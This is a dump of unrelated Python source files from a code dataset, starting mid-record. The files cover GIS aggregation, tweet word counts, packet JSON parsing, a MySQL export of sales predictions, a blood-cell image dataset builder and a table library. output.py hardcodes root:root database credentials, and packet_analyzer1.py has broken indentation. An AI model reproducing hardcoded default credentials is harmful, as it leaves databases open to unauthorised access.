gain\n repeat twice\n\n Do the same for other combinations of walls\n remove one wall then remove 2 walls\n remove 2 walls then remove 1 wall\n remove 3 walls\n\"\"\"","sub_path":"q16.py","file_name":"q16.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"232254082","text":"\"\"\"\n\nModule 4 - Aggregation\n\n\"\"\"\n\n# the following is pre-existing code that will be adapted\n\ndef Dissolve(BuildingFootprints, DissolveShapes, AAL_fields, slrModel, outFolder):\n\tfor shape in DissolveShapes:\n\t# Need to create list of tuples of Statistics Fields (AAL000, AAL025, Con000, Str000, etc...) and correpsonding stat type (SUM)\n\n\t\tkeepFields = ['GEOID']\n\t\tkeepFields.extend(AAL_fields)\n\t\tkeepFields.extend(slrModel)\n\t\tprint(\"keepFields: \", keepFields)\n\t\tfieldmappings = arcpy.FieldMappings()\n\t\tfieldmappings.addTable(DissolveShapes[shape])\n\t\tfor field in fieldmappings.fields:\n\t\t\tif field.name not in keepFields:\n\t\t\t\tfieldmappings.removeFieldMap(fieldmappings.findFieldMapIndex(field.name))\n\n\t\ttarget_features = BuildingFootprints\n\t\tjoin_features = DissolveShapes[shape]\n\t\tout_feature_class = DissolveShapes[shape][:-4] + '_SpatialJoinOutput' + '.shp'\n\t\tout_layer_name = DissolveShapes[shape][:-4] + '_AddJoinOutput' + '.shp'\n\t\tout_feature_class_name = os.path.basename(out_feature_class)\n\t\t\n\t\tprint(\"out_feature_class: \", out_feature_class)\n\t\tprint(\"join_features: \", join_features)\n\n\t\tarcpy.SpatialJoin_analysis(target_features, join_features, out_feature_class, 'JOIN_ONE_TO_ONE', 'KEEP_ALL', fieldmappings,'INTERSECT')\n\t\tnew_GEOID_field = shape + '_GEO'\n\t\texpression = '!GEOID!'\n\t\tinFeatures = BuildingFootprints\n\t\tjoinField = 'FID'\n\t\tjoinTable = out_feature_class\n\t\tjoinField = 'FID'\n\t\tarcpy.JoinField_management(inFeatures, joinField, joinTable, joinField)\n\t\tarcpy.AddField_management(BuildingFootprints,new_GEOID_field,'TEXT')\n\t\tcur = arcpy.da.UpdateCursor(BuildingFootprints, [new_GEOID_field, 'GEOID'])\n\t\tfor row in cur:\n\t\t\trow[0] = row[1]\n\t\t\tcur.updateRow(row)\n\t\tdel row, cur\n\n\t\tarcpy.DeleteField_management(BuildingFootprints,'GEOID')\n \n\t\tStatistics_List = [(field,\"SUM\") for field in AAL_fields]\n\t\tStatistics_List.append((slrModel[0],'SUM'))\n\t\tprint(\"Statistics_List: \", Statistics_List)\n\t\t#Statistics_List.append((field,\"SUM\") for field in slrModel)\n\t\t#print(\"Statistics_List: \", Statistics_List)\n\t\tdissolve_output = outFolder + \"\\\\\" + \"_dissolve_footprints_\" + shape + \".dbf\"\n\t\n\t\tprint(\"Dissolving to \" + shape)\n\t\tprint(\"Statistics_List: \", Statistics_List)\n\t\tprint(\"dissolve_output: \", dissolve_output)\n\t\tarcpy.Dissolve_management(target_features, dissolve_output, new_GEOID_field, Statistics_List)\n\n\t\t# Make copy of attribute table from dissolve shape\n\t\tcopyRowsOutput = outFolder + \"\\\\\" + \"copyRows_\" + shape + \".dbf\"\n\t\tarcpy.CopyRows_management(dissolve_output, copyRowsOutput)\n\n\t\t# Make copy of original shapefile\n\t\t#copyFeatureOutput = outFolder + \"copy_\" + shape + \".shp\"\n\t\t#arcpy.CopyFeatures_management(BuildingFootprints, copyFeatureOutput)\n\t\t\n\t\t# Join the rows copied from the dissolve output to the copies of the dissolved shapefiles\n\n\t\tarcpy.MakeFeatureLayer_management(DissolveShapes[shape], out_layer_name)\n\t\tarcpy.JoinField_management(out_layer_name, 'GEOID', copyRowsOutput, new_GEOID_field)\n\n\t\t# Save the result of the join field and name based on the dissolve shape\n\t\tfinalDissolveOutput = outFolder + \"\\\\\" + \"dissolved_aggregated_\" + shape + \".shp\"\n\t\tprint(\"Saving \" + shape + \" dissolve to\" + finalDissolveOutput)\n\t\tarcpy.CopyFeatures_management(out_layer_name, finalDissolveOutput)","sub_path":"module4.py","file_name":"module4.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"315583722","text":"import os\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport itertools\nimport collections\n\nimport tweepy as tw\nimport nltk\nfrom nltk.corpus import stopwords\nimport re\nimport networkx\nfrom ..credentials import consumer_key, consumer_secret, \\\n access_token, access_token_secret\n \nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nsns.set(font_scale=1.5)\nsns.set_style(\"whitegrid\")\n\nauth = tw.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\napi = tw.API(auth, wait_on_rate_limit=True)\n\nsearch_term = \"#climate+change -filter:retweets\"\n\ntweets = tw.Cursor(api.search,\n q=search_term,\n lang=\"en\",\n since='2018-11-01').items(1000)\n\nall_tweets = [tweet.text for tweet in tweets]\n\ndef remove_url(txt):\n return \" \".join(re.sub(\"([^0-9A-Za-z \\t])|(\\w+:\\/\\/\\S+)\", \"\", txt).split())\n\nall_tweets_no_urls = [remove_url(tweet) for tweet in all_tweets]\nall_tweets_no_urls[0].lower().split()\n\nwords_in_tweet = [tweet.lower().split() for tweet in all_tweets_no_urls]\n\n# List of all words across tweets\nall_words_no_urls = list(itertools.chain(*words_in_tweet))\n\n# Create counter\ncounts_no_urls = collections.Counter(all_words_no_urls)\n\ncounts_no_urls.most_common(15)\n\nclean_tweets_no_urls = pd.DataFrame(counts_no_urls.most_common(15),\n columns=['words', 'count'])\n\nfig, ax = plt.subplots(figsize=(8, 8))\n\n# Plot horizontal bar graph\nclean_tweets_no_urls.sort_values(by='count').plot.barh(x='words',\n y='count',\n ax=ax,\n color=\"purple\")\n\nax.set_title(\"Common Words Found in Tweets (Including All Words)\")\n\nplt.show()\n#%%\nnltk.download('stopwords')\nstop_words = set(stopwords.words('english'))\ntweets_nsw = [[word for word in tweet_words if not word in stop_words]\n for tweet_words in words_in_tweet]\n\nall_words_nsw = list(itertools.chain(*tweets_nsw))\ncounts_nsw = collections.Counter(all_words_nsw)\n\nclean_tweets_nsw = pd.DataFrame(counts_nsw.most_common(15),\n columns=['words', 'count'])\n\nfig, ax = plt.subplots(figsize=(8, 8))\n\n# Plot horizontal bar graph\nclean_tweets_nsw.sort_values(by='count').plot.barh(x='words',\n y='count',\n ax=ax,\n color=\"purple\")\n\nax.set_title(\"Common Words Found in Tweets (Without Stop Words)\")\n\nplt.show()\n#%%\ncollection_words = ['climatechange', 'climate', 'change']\n\ntweets_nsw_nc = [[w for w in word if not w in collection_words]\n for word in tweets_nsw]\n\nall_words_nsw_nc = list(itertools.chain(*tweets_nsw_nc))\n\ncounts_nsw_nc = collections.Counter(all_words_nsw_nc)\n\ncounts_nsw_nc.most_common(15)\n\nclean_tweets_ncw = pd.DataFrame(counts_nsw_nc.most_common(15),\n columns=['words', 'count'])\n\nfig, ax = plt.subplots(figsize=(8, 8))\n\n# Plot horizontal bar graph\nclean_tweets_ncw.sort_values(by='count').plot.barh(x='words',\n y='count',\n ax=ax,\n color=\"purple\")\n\nax.set_title(\"Common Words Found in Tweets (Without Stop or Collection Words)\")\n\nplt.show()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"climatechange.py","file_name":"climatechange.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"620007828","text":"# packet_analyzer1.py\n\n'''\n\tReading the input JSON file, Getting the data as in\n\tlist of (time, field1, field2, ..)\n'''\n\nimport json\nimport pandas as pd\nfrom collections import Counter\n\t\nSRC = '0.0.0.0'\n# Read everything in json and return important fields\ndef read_pcap_json(filename,ts):\n\tdf = list()\n\tf = open(filename,'r')\n\tif(ts != -1):\n\t\tfor Pcap in f:\n \tpcap = json.loads(Pcap)\n \tts1 = pcap.keys()[0]\n \tif (ts==ts1):\n \tbreak\n\tfor Pcap in f:\n\t\tpcap = json.loads(Pcap)\n\t\tts1 = pcap.keys()[0]\n\t\tfor Packet in pcap[ts1]:\n\t\t\tpacket = Packet['Packet']\n\t\t\tPIH = Packet['PI Header']\n\t\t\tdf.append(dict())\n\t\t\tdf[-1]['time'] = packet['frame']['frame.time']\n\t\t\tdf[-1]['highest_layer'] = packet['info']['highest_layer']\n\t\t\tdf[-1]['tl_proto'] = packet['info']['tl_proto'] \n\t\t\tdf[-1]['proto_count'] = 1\n\t\t\t# Retransmission Packets\n\t\t\tdf[-1]['retrans'] = -1\n\t\t\tif ('tcp' in packet.keys()):\n\t\t\t\tif('tcp.analysis.retransmission' in packet['tcp']):\n\t\t\t\t\tif('ip' in packet.keys()):\n\t\t\t\t\t\tif(packet['ip']['ip.src'] == SRC):\n\t\t\t\t\t\t\tdf[-1]['retrans'] = 1 #Server \t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tdf[-1]['retrans'] = 2 #Client\n\tf.close()\n\treturn ts1, pd.DataFrame(df)\n\nif __name__ == '__main__':\n\tfilename = 'packets_json'\n\tts, df = read_pcap_json(filename,-1)\n\tprint(dict(Counter(df['tl_proto'])))\n","sub_path":"dashboard/packet_analyzer1.py","file_name":"packet_analyzer1.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"171270259","text":"import pandas as pd\nimport datetime\nfrom sqlalchemy import create_engine\nfrom model import res\n\nnowTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\nres['predict_amount'] = round(res['predict_amount'])\nres['creat_time'] = nowTime\n\nconn = create_engine(\"mysql+pymysql://root:root@192.168.40.160:3306/ddxq_mlearn?charset=utf8\")\n\npd.io.sql.to_sql(res, name='ddxq_activity_sales_predict', con=conn, schema='ddxq_mlearn', if_exists='append')\n\ntime_limit_buy_res = res[res['real_price'] != res['limit_price']].reset_index(drop=True)\nactivity_gift_res = res[res['real_price'] != res['barter_price']].reset_index(drop=True)\nspecial_offer_res = res[res['real_price'] != res['special_offer']].reset_index(drop=True)\ntime_limit_buy_res = time_limit_buy_res.drop(['barter_price', 'special_offer', 'user_amount'], axis=1)\nactivity_gift_res = activity_gift_res.drop(['limit_price', 'special_offer', 'user_amount'], axis=1)\nspecial_offer_res = special_offer_res.drop(['limit_price', 'barter_price', 'user_amount'], axis=1)\n\npd.io.sql.to_sql(time_limit_buy_res, name='ddxq_time_limit_buy_predict', con=conn, schema='ddxq_mlearn',\n if_exists='append')\npd.io.sql.to_sql(activity_gift_res, name='ddxq_activity_gift_predict', con=conn, schema='ddxq_mlearn',\n if_exists='append')\npd.io.sql.to_sql(special_offer_res, name='ddxq_special_offer_predict', con=conn, schema='ddxq_mlearn',\n if_exists='append')\nprint(\"finish to sql\")\n","sub_path":"output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"49104325","text":"\"\"\"TODO(BCCD): Add a description here.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow_datasets.public_api as tfds\nimport tensorflow as tf\nimport xml.etree.ElementTree\n\n_VOC_POSES=['unspecified']\n_VOC_LABELS=['rbc', 'wbc', 'platelets', 'platetets', 'platlets', 'platetlets']\n_HEIGHT = 480\n_WIDTH = 640\n\n# TODO(BCCD): BibTeX citation\n_CITATION = \"\"\"\nhttps://github.com/Shenggan/BCCD_Dataset\n\"\"\"\n_URL = \"https://storage.googleapis.com/duke-tfds/bccd/bccd_data.tar.gz\"\n# TODO(BCCD):\n_DESCRIPTION = \"\"\"\n\"\"\"\nclass Bccd(tfds.core.GeneratorBasedBuilder):\n \"\"\"TODO(BCCD): Short description of my dataset.\"\"\"\n VERSION = tfds.core.Version('2.0.0')\n\n def _get_example_objects(self, annon_filepath):\n \"\"\"Function to get all the objects from the annotation XML file.\"\"\"\n with tf.io.gfile.GFile(annon_filepath, \"r\") as f:\n root = xml.etree.ElementTree.parse(f).getroot()\n\n for obj in root.findall(\"object\"):\n # Get object's label name.\n label = obj.find(\"name\").text.lower()\n # Get objects' pose name.\n pose = obj.find(\"pose\").text.lower()\n is_truncated = (obj.find(\"truncated\").text == \"1\")\n is_difficult = (obj.find(\"difficult\").text == \"1\")\n bndbox = obj.find(\"bndbox\")\n xmax = float(bndbox.find(\"xmax\").text)\n xmin = float(bndbox.find(\"xmin\").text)\n ymax = float(bndbox.find(\"ymax\").text)\n ymin = float(bndbox.find(\"ymin\").text)\n yield {\n \"label\": label,\n \"pose\": pose,\n \"bbox\": tfds.features.BBox(ymin / _HEIGHT, xmin / _WIDTH, ymax / _HEIGHT, xmax / _WIDTH),\n \"is_truncated\": is_truncated,\n \"is_difficult\": is_difficult,\n }\n\n def _info(self):\n return tfds.core.DatasetInfo(\n builder=self,\n description=_DESCRIPTION,\n features=tfds.features.FeaturesDict({\n 'image': tfds.features.Image(),\n 'xml_filepath': tfds.features.Tensor(shape=(), dtype=tf.string),\n 'objects': tfds.features.Sequence({\n 'label': tfds.features.ClassLabel(names=_VOC_LABELS),\n 'bbox': tfds.features.BBoxFeature(),\n 'pose': tfds.features.ClassLabel(names=_VOC_POSES),\n 'is_truncated': tf.bool,\n 'is_difficult': tf.bool,\n })\n }),\n supervised_keys=('image_annotation','image_name'),\n citation=_CITATION\n )\n\n def _split_generators(self, dl_manager):\n \"\"\"Returns SplitGenerators.\"\"\"\n path = dl_manager.download_and_extract({\n 'data': _URL\n }) \n return [\n tfds.core.SplitGenerator(\n name=tfds.Split.TRAIN,\n gen_kwargs={\n \"images_dir\": '{}/bccd_data/images'.format(path['data']),\n \"annotations_dir\": '{}/bccd_data/annotations'.format(path['data'])\n },\n )\n ]\n\n def _generate_examples(self, images_dir, annotations_dir):\n \"\"\"Yields examples.\"\"\" \n for filename in tf.io.gfile.listdir(images_dir):\n if filename.split('_')[0] != 'BloodImage':\n continue\n \n image_filepath = '{}/{}'.format(images_dir, filename)\n xml_filepath = '{}/{}.xml'.format(annotations_dir, filename.split('.')[0])\n \n if not tf.io.gfile.exists(image_filepath):\n continue\n \n if not tf.io.gfile.exists(xml_filepath):\n continue\n \n objects = list(self._get_example_objects(xml_filepath))\n yield filename, {\n \"image\": image_filepath,\n \"xml_filepath\": xml_filepath,\n \"objects\": objects\n }\n","sub_path":"tensorflow_datasets/object_detection/bccd.py","file_name":"bccd.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"118791523","text":"\"\"\" This file implements a Table class\n that is designed to be the basis of any format\n\nRequirements\n------------\n\n* FIT format:\n * astropy:\n provides a replacement to pyfits\n pyfits can still be used instead but astropy is now the default\n\n* HDF5 format:\n * pytables\n\nRuntimeError will be raised when writing to a format associated with missing\npackage.\n\n\n.. code-block::python\n\n >>> t = SimpleTable('path/mytable.csv')\n # get a subset of columns only\n >>> s = t.get('M_* logTe logLo U B V I J K')\n # set some aliases\n >>> t.set_alias('logT', 'logTe')\n >>> t.set_alias('logL', 'logLLo')\n # make a query on one or multiple column\n >>> q = s.selectWhere('logT logL', '(J > 2) & (10 ** logT > 5000)')\n # q is also a table object\n >>> q.Plotter.plot('logT', 'logL', ',')\n # makes a simple plot (see :module:`plotter`)\n >>> s.write('newtable.fits')\n # export the initial subtable to a new file\n\"\"\"\nfrom __future__ import (absolute_import, division, print_function)\n\n__version__ = '3.0'\n__all__ = ['AstroHelpers', 'AstroTable', 'SimpleTable', 'stats']\n\nimport sys\nimport math\nfrom copy import deepcopy\nimport re\nimport itertools\nfrom functools import wraps, partial\nimport numpy as np\nfrom numpy import deg2rad, rad2deg, sin, cos, sqrt, arcsin, arctan2\nfrom numpy.lib import recfunctions\nimport types\n\ntry:\n from astropy.io import fits as pyfits\nexcept ImportError:\n try:\n import pyfits \n except ImportError:\n pyfits = None\n\ntry:\n import tables\nexcept ImportError:\n tables = None\n\ntry:\n import pandas as _pd\nexcept ImportError:\n _pd = None\n\ntry:\n from astropy.table import Table as _astropytable\nexcept ImportError:\n _astropytable = None\n\ntry:\n from .plotter import Plotter\nexcept ImportError:\n Plotter = None\n\n# ==============================================================================\n# Python 3 compatibility behavior\n# ==============================================================================\n# remap some python 2 built-ins on to py3k behavior or equivalent\n# Most of them become generators\nimport operator\n\nPY3 = sys.version_info[0] > 2\n\nif PY3:\n iteritems = operator.methodcaller('items')\n itervalues = operator.methodcaller('values')\n basestring = (str, bytes)\nelse:\n range = xrange\n from itertools import izip as zip\n iteritems = operator.methodcaller('iteritems')\n itervalues = operator.methodcaller('itervalues')\n basestring = (str, unicode)\n\n\n# ==============================================================================\n# Specials -- special functions\n# ==============================================================================\n\ndef pretty_size_print(num_bytes):\n \"\"\"\n Output number of bytes in a human readable format\n\n keywords\n --------\n num_bytes: int\n number of bytes to convert\n\n returns\n -------\n output: str\n string representation of the size with appropriate unit scale\n \"\"\"\n if num_bytes is None:\n return\n\n KiB = 1024\n MiB = KiB * KiB\n GiB = KiB * MiB\n TiB = KiB * GiB\n PiB = KiB * TiB\n EiB = KiB * PiB\n ZiB = KiB * EiB\n YiB = KiB * ZiB\n\n if num_bytes > YiB:\n output = '%.3g YB' % (num_bytes / YiB)\n elif num_bytes > ZiB:\n output = '%.3g ZB' % (num_bytes / ZiB)\n elif num_bytes > EiB:\n output = '%.3g EB' % (num_bytes / EiB)\n elif num_bytes > PiB:\n output = '%.3g PB' % (num_bytes / PiB)\n elif num_bytes > TiB:\n output = '%.3g TB' % (num_bytes / TiB)\n elif num_bytes > GiB:\n output = '%.3g GB' % (num_bytes / GiB)\n elif num_bytes > MiB:\n output = '%.3g MB' % (num_bytes / MiB)\n elif num_bytes > KiB:\n output = '%.3g KB' % (num_bytes / KiB)\n else:\n output = '%.3g Bytes' % (num_bytes)\n\n return output\n\n\ndef _fits_read_header(hdr):\n \"\"\"\n Convert pyfits header into dictionary with relevant values\n\n Parameters\n ----------\n\n hdr: pyftis.Header\n fits unit\n\n Returns\n -------\n header: dict\n header dictionary\n\n alias: dict\n aliases\n\n units: dict\n units\n\n comments: dict\n comments/description of keywords\n \"\"\"\n header = {}\n alias = {}\n units = {}\n comments = {}\n\n # generic cards\n genTerms = ['XTENSION', 'BITPIX', 'NAXIS', 'NAXIS1',\n 'NAXIS2', 'PCOUNT', 'GCOUNT', 'TFIELDS',\n 'EXTNAME']\n fieldTerms = ['TTYPE', 'TFORM', 'TUNIT', 'ALIAS']\n\n # read col comments\n # for k, name, comment in hdr.ascard['TTYPE*']:\n try:\n for card in hdr.cards['TTYPE*']:\n name = card.value\n comments[name] = card.comment\n u = hdr.get(card.keyword.replace('TYPE', 'UNIT'), None)\n if u is not None:\n units[name] = u\n\n # for k, val, _ in hdr.ascard['ALIAS*']:\n for card in hdr.cards['ALIAS*']:\n k = card.keyword\n val = card.value\n al, orig = val.split('=')\n alias[al] = orig\n except: #pyfits stsci\n for card in hdr.ascard['TTYPE*']:\n name = card.value\n comments[name] = card.comment\n u = hdr.get(card.key.replace('TYPE', 'UNIT'), None)\n if u is not None:\n units[name] = u\n\n # for k, val, _ in hdr.ascard['ALIAS*']:\n for card in hdr.ascard['ALIAS*']:\n k = card.key\n val = card.value\n al, orig = val.split('=')\n alias[al] = orig\n\n # other specific keywords: COMMENT, HISTORY\n header_comments = []\n header_history = []\n for k, v in hdr.items():\n if (k not in genTerms) and (k[:5] not in fieldTerms):\n if (k == 'COMMENT'):\n header_comments.append(v)\n elif (k == 'HISTORY'):\n header_history.append(v)\n else:\n header[k] = v\n\n # COMMENT, HISTORY polish\n if len(header_comments) > 0:\n header['COMMENT'] = '\\n'.join(header_comments)\n if len(header_history) > 0:\n header['HISTORY'] = '\\n'.join(header_history)\n\n if 'EXTNAME' in hdr:\n header['NAME'] = hdr['EXTNAME']\n\n return header, alias, units, comments\n\n\ndef _fits_generate_header(tab):\n \"\"\" Generate the corresponding fits Header that contains all necessary info\n\n Parameters\n ----------\n\n tab: SimpleTable instance\n table\n\n Returns\n -------\n hdr: pyfits.Header\n header instance\n \"\"\"\n # get column cards\n\n cards = []\n\n # names units and comments\n for e, k in enumerate(tab.keys()):\n cards.append(('TTYPE{0:d}'.format(e + 1), k, tab._desc.get(k, '')))\n u = tab._units.get(k, '')\n if u not in ['', 'None', None]:\n cards.append(('TUNIT{0:d}'.format(e + 1), tab._units.get(k, ''),\n 'unit of {0:s}'.format(k)))\n\n # add aliases\n for e, v in enumerate(tab._aliases.items()):\n cards.append( ('ALIAS{0:d}'.format(e + 1), '='.join(v), '') )\n\n if tab.header['NAME'] not in ['', 'None', None, 'No Name']:\n cards.append(('EXTNAME', tab.header['NAME'], ''))\n\n hdr = pyfits.Header(cards)\n\n for k, v in tab.header.items():\n if (v not in ['', 'None', None]) & (k != 'NAME'):\n if (k != 'COMMENT') & (k != 'HISTORY'):\n hdr.update(k, v)\n else:\n txt = v.split('\\n')\n for j in txt:\n if k == 'COMMENT':\n hdr.add_comment(j)\n elif k == 'HISTORY':\n hdr.add_history(j)\n return hdr\n\n\ndef _fits_writeto(filename, data, header=None, output_verify='exception',\n clobber=False, checksum=False):\n \"\"\"\n Create a new FITS file using the supplied data/header.\n Patched version of pyfits to correctly include provided header\n\n Parameters\n ----------\n filename : file path, file object, or file like object\n File to write to. If opened, must be opened in a writeable binary\n mode such as 'wb' or 'ab+'.\n\n data : array, record array, or groups data object\n data to write to the new file\n\n header : `Header` object, optional\n the header associated with ``data``. If `None`, a header\n of the appropriate type is created for the supplied data. This\n argument is optional.\n\n output_verify : str\n Output verification option. Must be one of ``\"fix\"``, ``\"silentfix\"``,\n ``\"ignore\"``, ``\"warn\"``, or ``\"exception\"``. May also be any\n combination of ``\"fix\"`` or ``\"silentfix\"`` with ``\"+ignore\"``,\n ``+warn``, or ``+exception\" (e.g. ``\"fix+warn\"``). See :ref:`verify`\n for more info.\n\n clobber : bool, optional\n If `True`, and if filename already exists, it will overwrite\n the file. Default is `False`.\n\n checksum : bool, optional\n If `True`, adds both ``DATASUM`` and ``CHECKSUM`` cards to the\n headers of all HDU's written to the file\n \"\"\"\n\n hdu = pyfits.convenience._makehdu(data, header)\n hdu.header.update(header.cards)\n if hdu.is_image and not isinstance(hdu, pyfits.PrimaryHDU):\n hdu = pyfits.PrimaryHDU(data, header=header)\n hdu.writeto(filename, clobber=clobber, output_verify=output_verify,\n checksum=checksum)\n\n\ndef _fits_append(filename, data, header=None, checksum=False, verify=True,\n **kwargs):\n \"\"\"\n Append the header/data to FITS file if filename exists, create if not.\n\n If only ``data`` is supplied, a minimal header is created.\n Patched version of pyfits to correctly include provided header\n\n Parameters\n ----------\n filename : file path, file object, or file like object\n File to write to. If opened, must be opened for update (rb+) unless it\n is a new file, then it must be opened for append (ab+). A file or\n `~gzip.GzipFile` object opened for update will be closed after return.\n\n data : array, table, or group data object\n the new data used for appending\n\n header : `Header` object, optional\n The header associated with ``data``. If `None`, an appropriate header\n will be created for the data object supplied.\n\n checksum : bool, optional\n When `True` adds both ``DATASUM`` and ``CHECKSUM`` cards to the header\n of the HDU when written to the file.\n\n verify : bool, optional\n When `True`, the existing FITS file will be read in to verify it for\n correctness before appending. When `False`, content is simply appended\n to the end of the file. Setting ``verify`` to `False` can be much\n faster.\n\n kwargs\n Any additional keyword arguments to be passed to\n `astropy.io.fits.open`.\n \"\"\"\n\n name, closed, noexist_or_empty = pyfits.convenience._stat_filename_or_fileobj(filename)\n\n if noexist_or_empty:\n #\n # The input file or file like object either doesn't exits or is\n # empty. Use the writeto convenience function to write the\n # output to the empty object.\n #\n _fits_writeto(filename, data, header, checksum=checksum, **kwargs)\n else:\n hdu = pyfits.convenience._makehdu(data, header)\n hdu.header.update(header.cards)\n\n if isinstance(hdu, pyfits.PrimaryHDU):\n hdu = pyfits.ImageHDU(data, header)\n\n if verify or not closed:\n f = pyfits.convenience.fitsopen(filename, mode='append')\n f.append(hdu)\n\n # Set a flag in the HDU so that only this HDU gets a checksum when\n # writing the file.\n hdu._output_checksum = checksum\n f.close(closed=closed)\n else:\n f = pyfits.convenience._File(filename, mode='append')\n hdu._output_checksum = checksum\n hdu._writeto(f)\n f.close()\n\n\ndef _ascii_read_header(fname, comments='#', delimiter=None, commentedHeader=True,\n *args, **kwargs):\n \"\"\"\n Read ASCII/CSV header\n\n Parameters\n ----------\n fname: str or stream\n File, filename, or generator to read.\n Note that generators should return byte strings for Python 3k.\n\n comments: str, optional\n The character used to indicate the start of a comment;\n default: '#'.\n\n delimiter: str, optional\n The string used to separate values. By default, this is any\n whitespace.\n\n commentedHeader: bool, optional\n if set, the last line of the header is expected to be the column titles\n\n Returns\n -------\n nlines: int\n number of lines from the header\n\n header: dict\n header dictionary\n\n alias: dict\n aliases\n\n units: dict\n units\n\n comments: dict\n comments/description of keywords\n\n names: sequence\n sequence or str, first data line after header, expected to be the column\n names.\n \"\"\"\n if hasattr(fname, 'read'):\n stream = fname\n else:\n stream = open(fname, 'r')\n\n header = {}\n alias = {}\n units = {}\n desc = {}\n\n def parseStrNone(v):\n \"\"\" robust parse \"\"\"\n _v = v.split()\n if (len(_v) == 0):\n return None\n else:\n _v = ' '.join(_v)\n if (_v.lower()) == 'none' or (_v.lower() == 'null'):\n return None\n else:\n return _v\n\n done = False\n oldline = None\n lasthdr = None\n nlines = 0\n header.setdefault('COMMENT', '')\n header.setdefault('HISTORY', '')\n while done is False:\n line = stream.readline()[:-1] # getting rid of '\\n'\n nlines += 1\n if (line[0] == comments): # header part\n if (len(line) > 2):\n if line[1] == comments: # column meta data\n # column meta is expected to start with ##\n k = line[2:].split('\\t')\n colname = k[0].strip()\n colunit = None\n colcomm = None\n if len(k) > 1:\n colunit = parseStrNone(k[1])\n if len(k) > 2:\n colcomm = parseStrNone(k[2])\n\n if colunit is not None:\n units[colname] = colunit\n if colcomm is not None:\n desc[colname] = colcomm\n else:\n # header is expected as \"# key \\t value\"\n k = line[1:].split('\\t')\n if len(k) > 1:\n key = k[0].strip() # remove trainling spaces\n val = ' '.join(k[1:]).strip()\n\n if key in ('', None, 'None', 'NONE', 'COMMENT'):\n header['COMMENT'] = header['COMMENT'] + '\\n' + val\n if key in ('HISTORY', ):\n header['HISTORY'] = header['HISTORY'] + '\\n' + val\n elif 'alias' in key.lower():\n # take care of aliases\n al, orig = val.split('=')\n alias[al] = orig\n else:\n header[key] = val\n lasthdr = key\n else:\n header['COMMENT'] = header['COMMENT'] + '\\n' + line[1:]\n else:\n done = True\n if commentedHeader and (oldline is not None):\n names = oldline.split(delimiter)\n nlines -= 1\n if lasthdr == names[0]:\n header.pop(lasthdr)\n else:\n names = line.split(delimiter)\n oldline = line[1:]\n\n if not hasattr(fname, 'read'):\n stream.close()\n else:\n stream.seek(stream.tell() - len(line))\n nlines = 0 # make sure the value is set to the current position\n\n return nlines, header, units, desc, alias, names\n\n\ndef _hdf5_write_data(filename, data, tablename=None, mode='w', append=False,\n header={}, units={}, comments={}, aliases={}, **kwargs):\n \"\"\" Write table into HDF format\n\n Parameters\n ----------\n filename : file path, or tables.File instance\n File to write to. If opened, must be opened and writable (mode='w' or 'a')\n\n data: recarray\n data to write to the new file\n\n tablename: str\n path of the node including table's name\n\n mode: str\n in ('w', 'a') mode to open the file\n\n append: bool\n if set, tends to append data to an existing table\n\n header: dict\n table header\n\n units: dict\n dictionary of units\n\n alias: dict\n aliases\n\n comments: dict\n comments/description of keywords\n\n .. note::\n other keywords are forwarded to :func:`tables.open_file`\n \"\"\"\n\n if hasattr(filename, 'read'):\n raise Exception(\"HDF backend does not implement stream\")\n\n if append is True:\n mode = 'a'\n silent = kwargs.pop('silent', False)\n\n if isinstance(filename, tables.File):\n if (filename.mode != mode) & (mode != 'r'):\n raise tables.FileModeError('The file is already opened in a different mode')\n hd5 = filename\n else:\n hd5 = tables.open_file(filename, mode=mode)\n\n # check table name and path\n tablename = tablename or header.get('NAME', None)\n if tablename in ('', None, 'Noname', 'None'):\n tablename = '/data'\n\n w = tablename.split('/')\n where = '/'.join(w[:-1])\n name = w[-1]\n if where in ('', None):\n where = '/'\n if where[0] != '/':\n where = '/' + where\n\n if append:\n try:\n t = hd5.get_node(where + name)\n t.append(data.astype(t.description._v_dtype))\n t.flush()\n except tables.NoSuchNodeError:\n if not silent:\n print((\"Warning: Table {0} does not exists. \\n A new table will be created\").format(where + name))\n append = False\n\n if not append:\n # t = hd5.createTable(where, name, data, **kwargs)\n t = hd5.create_table(where, name, data, **kwargs)\n\n # update header\n for k, v in header.items():\n if (k == 'FILTERS') & (float(t.attrs['VERSION']) >= 2.0):\n t.attrs[k.lower()] = v\n else:\n t.attrs[k] = v\n if 'TITLE' not in header:\n t.attrs['TITLE'] = name\n\n # add column descriptions and units\n for e, colname in enumerate(data.dtype.names):\n _u = units.get(colname, None)\n _d = comments.get(colname, None)\n if _u is not None:\n t.attrs['FIELD_{0:d}_UNIT'] = _u\n if _d is not None:\n t.attrs['FIELD_{0:d}_DESC'] = _d\n\n # add aliases\n for i, (k, v) in enumerate(aliases.items()):\n t.attrs['ALIAS{0:d}'.format(i)] = '{0:s}={1:s}'.format(k, v)\n\n t.flush()\n\n if not isinstance(filename, tables.File):\n hd5.flush()\n hd5.close()\n\n\ndef _hdf5_read_data(filename, tablename=None, silent=False, *args, **kwargs):\n \"\"\" Generate the corresponding ascii Header that contains all necessary info\n\n Parameters\n ----------\n filename: str\n file to read from\n\n tablename: str\n node containing the 